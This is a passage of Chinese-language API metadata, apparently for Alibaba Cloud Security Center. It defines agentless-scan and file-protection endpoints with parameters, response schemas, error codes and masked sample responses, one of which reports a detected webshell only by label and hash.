{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 197,\\n \\"Count\\": 2\\n },\\n \\"List\\": [\\n {\\n \\"Id\\": 8012,\\n \\"FirstScanTimestamp\\": 0,\\n \\"LatestScanTimestamp\\": 0,\\n \\"Level\\": \\"serious\\",\\n \\"MaliciousMd5\\": \\"1f2e13a7c51ee89316ae50066515****\\",\\n \\"FilePath\\": \\"/root/logs/arms/tracelogs/log****\\",\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"InstanceName\\": \\"sql-test-0****\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"TargetId\\": \\"m-****\\",\\n \\"TargetName\\": \\"image_***\\",\\n \\"TargetType\\": \\"2\\",\\n \\"DownloadUrl\\": \\"https://upgrade-rule-pkg.oss-cn-beijing.aliyuncs.com/totalpackage/***\\",\\n \\"HighLight\\": \\"{\\\\\\\\\\\\\\"highlight\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"ruleVersion\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"20230223\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ruleId\\\\\\\\\\\\\\":600139,\\\\\\\\\\\\\\"events\\\\\\\\\\\\\\":[[207,284]]}}\\",\\n \\"Details\\": [\\n {\\n \\"Name\\": \\"MD5\\",\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"1f2e13a7c51ee89316ae50066515****\\",\\n \\"NameKey\\": \\"${suspicious.mp.db.maliciousfilemd5}\\"\\n }\\n ],\\n \\"MaliciousName\\": \\"WebShell\\",\\n \\"Partition\\": \\"/dev/xvda1\\",\\n \\"OperateResult\\": \\"addWhitelist.USER.Success\\",\\n \\"OperateTimestamp\\": \\"168257753****\\",\\n \\"MaliciousType\\": \\"WebShell\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取无代理检测事件关联风险', + ], + 'ListAgentlessRegion' => [ + 'summary' => '获取无代理检测支持地域。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '159361', + 'abilityTreeNodes' => [ + 'FEATUREsasON13NY', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92****', + ], + 'RegionList' => [ + 'description' => '地域列表信息。', + 'type' => 'array', + 'items' => [ + 'description' => '地域列表信息。', + 'type' => 'string', + 'example' => 'cn-shanghai', + ], + ], + 'VendorRegionList' => [ + 'description' => '地域列表信息。', + 'type' => 'array', + 'items' => [ + 'description' => '地域列表信息。', + 'type' => 'object', + 'properties' => [ + 'Vendor' => [ + 'description' => '服务器厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云'."\n" + .'- **3**：腾讯云'."\n" + .'- **4**：华为云'."\n" + .'- **5**：Azure'."\n" + .'- **7**：AWS', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RegionId' => [ + 'description' => '服务器所在的地域。', + 'type' => 'string', + 'example' => 'cn-shanghai', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92****\\",\\n \\"RegionList\\": [\\n \\"cn-shanghai\\"\\n ],\\n \\"VendorRegionList\\": [\\n {\\n \\"Vendor\\": 0,\\n \\"RegionId\\": \\"cn-shanghai\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取无代理检测支持地域', + ], + 'ListAgentlessTask' => [ + 'summary' => '获取无代理检测任务列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + 'abilityTreeCode' => '155393', + 'abilityTreeNodes' => [ + 'FEATUREsasON13NY', + ], + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '扫描对象类型。取值：'."\n" + ."\n" + .'- **1**：快照 '."\n" + .'- **2**：镜像', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'RootTaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '主任务ID。', + 'type' => 'string', + 'required' => false, + 'example' => '12c27343861610c5db3f7a2573b4****', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '检测状态。'."\n" + ."\n" + .'- **1**：检测中'."\n" + .'- **2**：完成'."\n" + .'- **3**：失败'."\n" + .'- **4**：超时', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '2', + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '开始时间的时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1651290987000', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '结束时间的时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1635575219000', + ], + ], + [ + 'name' => 'RootTask', + 'in' => 'query', + 'schema' => [ + 'description' => '是否查询主任务列表，取值：'."\n" + ."\n" + .'- **true**：主任务'."\n" + .'- **false**：子任务', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + [ + 'name' => 'TaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '如果查询主任务下的子任务列表，需要指定主任务ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'd7b2acf8d362742123e4a84e1bf8****', + ], + ], + [ + 'name' => 'MachineName', + 'in' => 'query', + 'schema' => [ + 'description' => '实例名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'oracle-win-001****', + ], + ], + [ + 'name' => 'InternetIp', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询资产的公网IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.1.XX.XX', + ], + ], + [ + 'name' => 'IntranetIp', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询资产的私网IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '172.26.XX.XX', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的服务器UUID。', + 'type' => 'string', + 'required' => false, + 'example' => 'e4af3620-6895-4e2f-a641-a9d8fb53****', + ], + ], + [ + 'name' => 'TargetName', + 'in' => 'query', + 'schema' => [ + 'description' => '检测对象的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'source-test-obj-0****'."\n", + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '语言类型。取值： '."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1A975D03-5F49-5354-B2CB-3918D5DA****', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '55', + ], + ], + ], + 'List' => [ + 'description' => '任务列表。', + 'type' => 'array', + 'items' => [ + 'description' => '任务列表。', + 'type' => 'object', + 'properties' => [ + 'TaskId' => [ + 'description' => '任务ID。', + 'type' => 'string', + 'example' => '1538****', + ], + 'TaskName' => [ + 'description' => '检测任务名称。', + 'type' => 'string', + 'example' => 'AGENTLESS_SCAN', + ], + 'TargetType' => [ + 'description' => '对象类型。取值：'."\n" + ."\n" + .'- **1**：快照'."\n" + .'- **2**：镜像', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Status' => [ + 'description' => '检测状态。'."\n" + ."\n" + .'- **1**：检测中'."\n" + .'- **2**：完成'."\n" + .'- **3**：失败'."\n" + .'- **4**：超时', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Progress' => [ + 'description' => '任务进度。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '60', + ], + 'StartTime' => [ + 'description' => '任务的开始时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1672741657897', + ], + 'EndTime' => [ + 'description' => '任务的结束时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1678895999999', + ], + 'Result' => [ + 'description' => '检查结果。', + 'type' => 'string', + 'example' => 'True', + ], + 'Uuid' => [ + 'description' => '资产实例的UUID。', + 'type' => 'string', + 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP。', + 'type' => 'string', + 'example' => '8.210.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP。', + 'type' => 'string', + 'example' => '172.25.XX.XX', + ], + 'InstanceName' => [ + 'description' => '资产实例名称。', + 'type' => 'string', + 'example' => 'sql-test-0****', + ], + 'TargetName' => [ + 'description' => '扫描对象名称。', + 'type' => 'string', + 'example' => 'hkdevt****', + ], + 'ProgressByProject' => [ + 'description' => '检测项的执行进度。', + 'type' => 'string', + 'example' => '"{\\"scaVul\\":100,\\"binary\\":100,\\"baseline\\":100,\\"vul\\":100,\\"webshell\\":100,\\"script\\":100,\\"sensitiveInfo\\":100}"', + ], + 'ReportStatus' => [ + 'description' => '报告状态。取值：'."\n" + .' - **PREPARED**：准备中'."\n" + .' - **RUNNING**：执行中'."\n" + .' - **SUCCESS**：成功'."\n" + .' - **TIMEOUT**：超时'."\n" + .' - **FAILED**：失败', + 'type' => 'string', + 'example' => 'SUCCESS', + ], + 'ReportDownloadUrl' => [ + 'description' => '报告下载链接。', + 'type' => 'string', + 'example' => 'http://newsas-oss-bucket.oss-cn-hangzhou.aliyuncs.com/agent_less_single_report****', + ], + 'MeasureSpace' => [ + 'description' => '检测数据量，单位MB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '154.11', + ], + 'InstanceId' => [ + 'description' => '资产实例ID。', + 'type' => 'string', + 'example' => 's-wz95vuqky0ada4******', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1A975D03-5F49-5354-B2CB-3918D5DA****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 55\\n },\\n \\"List\\": [\\n {\\n \\"TaskId\\": \\"1538****\\",\\n \\"TaskName\\": \\"AGENTLESS_SCAN\\",\\n \\"TargetType\\": 2,\\n \\"Status\\": 1,\\n \\"Progress\\": 60,\\n \\"StartTime\\": 1672741657897,\\n \\"EndTime\\": 1678895999999,\\n \\"Result\\": \\"True\\",\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"InstanceName\\": \\"sql-test-0****\\",\\n \\"TargetName\\": \\"hkdevt****\\",\\n \\"ProgressByProject\\": \\"\\\\\\"{\\\\\\\\\\\\\\"scaVul\\\\\\\\\\\\\\":100,\\\\\\\\\\\\\\"binary\\\\\\\\\\\\\\":100,\\\\\\\\\\\\\\"baseline\\\\\\\\\\\\\\":100,\\\\\\\\\\\\\\"vul\\\\\\\\\\\\\\":100,\\\\\\\\\\\\\\"webshell\\\\\\\\\\\\\\":100,\\\\\\\\\\\\\\"script\\\\\\\\\\\\\\":100,\\\\\\\\\\\\\\"sensitiveInfo\\\\\\\\\\\\\\":100}\\\\\\"\\",\\n \\"ReportStatus\\": \\"SUCCESS\\",\\n \\"ReportDownloadUrl\\": \\"http://newsas-oss-bucket.oss-cn-hangzhou.aliyuncs.com/agent_less_single_report****\\",\\n \\"MeasureSpace\\": 154.11,\\n \\"InstanceId\\": \\"s-wz95vuqky0ada4******\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取无代理检测任务列表', + ], + 'GetAgentlessTaskCount' => [ + 'summary' => '获取无代理检测任务统计结果。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '155838', + 'abilityTreeNodes' => [ + 'FEATUREsasON13NY', + ], + ], + 'parameters' => [ + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '检测对象。取值：'."\n" + ."\n" + .'- **3**：用户快照检测。'."\n" + .'- **4**：用户自定义镜像检测。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '3', + ], + ], + [ + 'name' => 'Target', + 'in' => 'query', + 'schema' => [ + 'description' => '目标实例。', + 'type' => 'string', + 'required' => false, + 'example' => 's-m5edddcwq7d57d******', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D03DD0FD-6041-5107-AC00-383E28F1****', + ], + 'RiskMachine' => [ + 'description' => '风险主机数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ScanMachine' => [ + 'description' => '扫描主机数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'MaliciousFile' => [ + 'description' => '恶意样本文件的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Vulnerability' => [ + 'description' => '漏洞风险数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'LastTaskTime' => [ + 'description' => '上次扫描时间的时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1682577532318', + ], + 'BaselineCheckCount' => [ + 'description' => '基线扫描项的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ScaVulCount' => [ + 'description' => '应用漏洞的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'CveVulCount' => [ + 'description' => '系统漏洞的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'SysVulCount' => [ + 'description' => 'Windows系统漏洞的总数。', + 'type' => 'string', + 'example' => '1', + ], + 'SensitiveFileCount' => [ + 'description' => '敏感文件的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D03DD0FD-6041-5107-AC00-383E28F1****\\",\\n \\"RiskMachine\\": 1,\\n \\"ScanMachine\\": 1,\\n \\"MaliciousFile\\": 1,\\n \\"Vulnerability\\": 1,\\n \\"LastTaskTime\\": 1682577532318,\\n \\"BaselineCheckCount\\": 1,\\n \\"ScaVulCount\\": 1,\\n \\"CveVulCount\\": 1,\\n \\"SysVulCount\\": \\"1\\",\\n \\"SensitiveFileCount\\": 1\\n}","type":"json"}]', + 'title' => '获取无代理检测任务统计结果', + ], + 'ListAgentlessRiskUuid' => [ + 'summary' => '获取无代理检测风险主机列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '157335', + 'abilityTreeNodes' => [ + 'FEATUREsasON13NY', + ], + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + 'default' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + 'default' => '20', + ], + ], + [ + 'name' => 'MachineName', + 'in' => 'query', + 'schema' => [ + 'description' => '实例名称', + 'type' => 'string', + 'required' => false, + 'example' => 'oracle-win-001****', + ], + ], + [ + 'name' => 'InternetIp', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询资产的公网IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.1.XX.XX', + ], + ], + [ + 'name' => 'IntranetIp', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询资产的私网IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '172.26.XX.XX', + ], + ], + [ + 'name' => 'TargetName', + 'in' => 'query', + 'schema' => [ + 'description' => '检测对象的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'source-test-obj-0****'."\n", + ], + ], + [ + 'name' => 'Risk', + 'in' => 'query', + 'schema' => [ + 'description' => '是否有风险。取值：'."\n" + ."\n" + .'- **true**：存在'."\n" + .'- **false**：不存在', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '检测对象类型。取值：'."\n" + ."\n" + .'- **1**：主机快照'."\n" + .'- **2**：主机镜像'."\n" + .'- **3**：用户快照'."\n" + .'- **4**：用户自定义镜像', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '3', + ], + ], + [ + 'name' => 'InstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '资产实例的ID。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 's-bp1g6wxdwps7s9dz****', + ], + ], + [ + 'name' => 'InstanceName', + 'in' => 'query', + 'schema' => [ + 'description' => '资产实例名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'ca_cpm_****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '05AE6B16-741A-5A75-9BF0-BC747DD9****', + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '69', + ], + ], + ], + 'List' => [ + 'description' => '主机列表。', + 'type' => 'array', + 'items' => [ + 'description' => '主机列表。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', + ], + 'InstanceName' => [ + 'description' => '资产的实例名称。', + 'type' => 'string', + 'example' => 'sql-test-0****', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP。', + 'type' => 'string', + 'example' => '8.210.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP。', + 'type' => 'string', + 'example' => '172.25.XX.XX', + ], + 'VulCount' => [ + 'description' => '检测出的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'MaliciousCount' => [ + 'description' => '恶意样本数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'BaselineCount' => [ + 'description' => '基线风险项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TargetId' => [ + 'description' => '扫描对象ID。', + 'type' => 'string', + 'example' => '30****', + ], + 'TargetName' => [ + 'description' => '扫描对象名称。', + 'type' => 'string', + 'example' => 'test****', + ], + 'ScanTime' => [ + 'description' => '扫描的时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '168257753****', + ], + 'InstanceId' => [ + 'description' => '资产实例的ID。', + 'type' => 'string', + 'example' => 's-bp1g6wxdwps7s9dz****'."\n", + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"05AE6B16-741A-5A75-9BF0-BC747DD9****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69\\n },\\n \\"List\\": [\\n {\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"InstanceName\\": \\"sql-test-0****\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"VulCount\\": 1,\\n \\"MaliciousCount\\": 1,\\n \\"BaselineCount\\": 1,\\n \\"TargetId\\": \\"30****\\",\\n \\"TargetName\\": \\"test****\\",\\n \\"ScanTime\\": 0,\\n \\"InstanceId\\": \\"s-bp1g6wxdwps7s9dz****\\\\n\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取无代理检测风险主机列表', + ], + 'ListFileProtectPluginStatus' => [ + 'summary' => '获取支持核心文件插件状态的列表。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '188949', + 'abilityTreeNodes' => [ + 'FEATUREsas4OHMAP', + ], + ], + 'parameters' => [ + [ + 'name' => 'SwitchId', + 'in' => 'query', + 'schema' => [ + 'description' => '规则对应的开关ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'FILE_PROTECT_RULE_SWITCH_TYPE_1693474122927', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'maximum' => '100', + 'minimum' => '1', + 'example' => '10', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '指定返回结果的当前页码。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'minimum' => '1', + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '60F289EC-BAA3-5DF1-8476-B3F05A14EBC2', + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询结果的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '149', + ], + ], + ], + 'Data' => [ + 'description' => '接口调用成功时，返回的数据。', + 'type' => 'array', + 'items' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'Installed' => [ + 'description' => '是否安装', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Online' => [ + 'description' => '客户端是否在线。取值：'."\n" + .'- **true**：在线'."\n" + .'- **false**：离线', + 'type' => 'boolean', + 'example' => 'true', + ], + 'SupportFile' => [ + 'description' => '是否支持核心文件监控功能。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'InstallCode' => [ + 'description' => '安装返回的信息。'."\n" + ."\n" + .'1. 0: 成功'."\n" + ."\n" + .'1. -2: 内核不支持', + 'type' => 'string', + 'example' => '-2', + ], + 'InstallMessage' => [ + 'description' => '安装返回的信息。', + 'type' => 'string', + 'example' => 'driver file not exist', + ], + 'ClientVersion' => [ + 'description' => '客户端版本。', + 'type' => 'string', + 'example' => '00_41', + ], + 'Uuid' => [ + 'description' => '资产实例的UUID。', + 'type' => 'string', + 'example' => '6690a46c-0edb-4663-a641-3629d1a9****', + ], + 'InternetIp' => [ + 'description' => '关联实例的公网IP。', + 'type' => 'string', + 'example' => '172.16.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '关联实例的私网IP。', + 'type' => 'string', + 'example' => '10.42.XX.XX', + ], + 'InstanceName' => [ + 'description' => '实例名称。', + 'type' => 'string', + 'example' => 'i-wz92q7m5hsbgfhdss***', + ], + 'Platform' => [ + 'description' => '操作系统类型。取值：'."\n" + ."\n" + .'- **windows**：widows'."\n" + .'- **linux**：linux', + 'type' => 'string', + 'example' => 'linux', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"60F289EC-BAA3-5DF1-8476-B3F05A14EBC2\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149\\n },\\n \\"Data\\": [\\n {\\n \\"Installed\\": true,\\n \\"Online\\": true,\\n \\"SupportFile\\": true,\\n \\"InstallCode\\": \\"-2\\",\\n \\"InstallMessage\\": \\"driver file not exist\\",\\n \\"ClientVersion\\": \\"00_41\\",\\n \\"Uuid\\": \\"6690a46c-0edb-4663-a641-3629d1a9****\\",\\n \\"InternetIp\\": \\"172.16.XX.XX\\",\\n \\"IntranetIp\\": \\"10.42.XX.XX\\",\\n \\"InstanceName\\": \\"i-wz92q7m5hsbgfhdss***\\",\\n \\"Platform\\": \\"linux\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取插件状态列表', + ], + 'UpdateFileProtectEventStatus' => [ + 'summary' => '修改客户端上报的核心文件监控事件的状态。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '189056', + 'abilityTreeNodes' => [ + 'FEATUREsas2XWKXT', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '事件的ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '要查询AK泄露事件的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '315', + ], + 'required' => false, + 'maxItems' => 500, + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '事件处理状态。'."\n" + .'- **0**：未处理'."\n" + .'- **1**：我已手工处理'."\n" + .'- **2**：已加白'."\n" + .'- **3**：已忽略', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + 